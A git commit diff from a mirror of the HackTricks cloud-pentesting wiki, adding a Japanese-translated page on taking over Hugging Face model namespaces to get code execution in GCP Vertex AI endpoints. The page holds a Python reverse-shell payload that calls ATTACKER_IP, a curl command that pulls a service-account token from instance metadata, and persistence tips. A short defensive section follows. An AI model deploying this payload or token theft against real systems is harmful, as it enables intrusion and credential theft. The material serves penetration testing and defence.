mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-05 09:17:24 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -1,3 +1,9 @@
|
||||
# GCP - ポストエクスプロイテーション
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,113 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenario
|
||||
|
||||
- Vertex AI Model Garden は多くの Hugging Face (HF) モデルを直接デプロイできます。
|
||||
- HF model identifiers are Author/ModelName. HF 上の author/org が削除された場合、同じ author 名は誰でも再登録できます。攻撃者はその後、同じ ModelName を使った repo をレガシーパス上に作成できます。
|
||||
- 名前のみで取得する(pinning/integrity なし)Pipelines、SDKs、またはクラウドカタログは攻撃者が制御する repo を引いてしまいます。モデルがデプロイされると、その repo の loader code が Vertex AI endpoint container 内で実行され、エンドポイントの権限で RCE を得られます。
|
||||
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: 古いパスは、誰かがその author を再登録して同じ ModelName を公開するまで 404 を返します。
|
||||
- Ownership transfer: HF は古い Author/ModelName から新しい author へ 307 リダイレクトを発行します。古い author が後で削除され攻撃者により再登録されると、リダイレクトチェーンは途切れ、攻撃者の repo がレガシーパスで提供されます。
|
||||
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
|
||||
- Old author deleted: author のページが 404 を返します。モデルパスは takeover が行われるまで 404 を返す場合があります。
|
||||
- Transferred models: 古いモデルパスは、古い author が存在している間は新しい所有者へ 307 を返します。もし古い author が後で削除され再登録されると、レガシーパスは攻撃者の repo を指すようになります。
|
||||
|
||||
Quick checks with curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Vertex AI に対するエンドツーエンドの攻撃フロー
|
||||
|
||||
1) Model Garden に deployable としてリストされている再利用可能なモデル名前空間を発見する:
|
||||
- Vertex AI Model Garden 内で、まだ “verified deployable” と表示されている HF モデルを見つける。
|
||||
- HF 上で、元の author が削除されているか、モデルが移管されて古い author が後に削除されたかを確認する。
|
||||
|
||||
2) HF 上で削除された author を再登録し、同じ ModelName を再作成する。
|
||||
|
||||
3) 悪意のある repo を公開する。モデルのロード時に実行されるコードを含める。HF のモデルロード中に一般的に実行される例:
|
||||
- repo の __init__.py における副作用
|
||||
- config/auto_map で参照される custom modeling_*.py や processing コード
|
||||
- Transformers パイプラインで trust_remote_code=True を要するコードパス
|
||||
|
||||
4) レガシーな Author/ModelName の Vertex AI デプロイが攻撃者の repo をプルするようになる。ローダーは Vertex AI endpoint コンテナ内で実行される。
|
||||
|
||||
5) ペイロードは endpoint 環境から(RCE)エンドポイントの権限でアクセスを確立する。
|
||||
|
||||
インポート時に実行されるペイロード断片の例(デモ目的のみ):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
メモ
|
||||
- 実際のローダーは様々です。多くの Vertex AI HF 統合は、モデルの設定で参照されるリポジトリモジュール(例: auto_map)をクローンしてインポートし、これがコード実行を引き起こす可能性があります。一部の利用では trust_remote_code=True が必要になることがあります。
|
||||
- エンドポイントは通常、限定的な権限の専用コンテナで動作しますが、GCP 内でのデータアクセスや横移動のための有効な初期足がかりになり得ます。
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
endpoint コンテナ内でコードが実行されている場合、次を検討してください:
|
||||
- 資格情報/トークンのために環境変数やメタデータを列挙する
|
||||
- アタッチされたストレージやマウントされたモデルアーティファクトにアクセスする
|
||||
- サービスアカウントの識別を使って Google APIs とやり取りする (Document AI, Storage, Pub/Sub, etc.)
|
||||
- プラットフォームが repo を再取得する場合に備えてモデルアーティファクト内に永続化する
|
||||
|
||||
アクセス可能ならインスタンスメタデータを列挙する(コンテナ依存):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Vertex AI ユーザー向けの防御ガイダンス
|
||||
|
||||
- HF loadersでモデルをcommit単位で固定して、サイレントな置き換えを防ぐ:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 精査済みの HFモデル を信頼できる内部のアーティファクトストア/レジストリにミラーし、そこからデプロイする。
|
||||
- コードベースと設定を継続的にスキャンし、削除/転送されたハードコーディングされた Author/ModelName を検出して、新しい名前空間に更新するかコミットで固定する。
|
||||
- Model Garden では、デプロイ前にモデルの由来と作者の存在を確認する。
|
||||
|
||||
## 認識ヒューリスティクス (HTTP)
|
||||
|
||||
- 削除された作者:作者ページが404。旧モデルパスも引き継ぎまで404。
|
||||
- 移管されたモデル:旧パスが旧作者が存在する間に新作者へ307リダイレクトする;後に旧作者が削除され再登録された場合、旧パスは攻撃者のコンテンツを返す。
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 相互参照
|
||||
|
||||
- より広範な方法論およびサプライチェーンに関する注記を参照:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user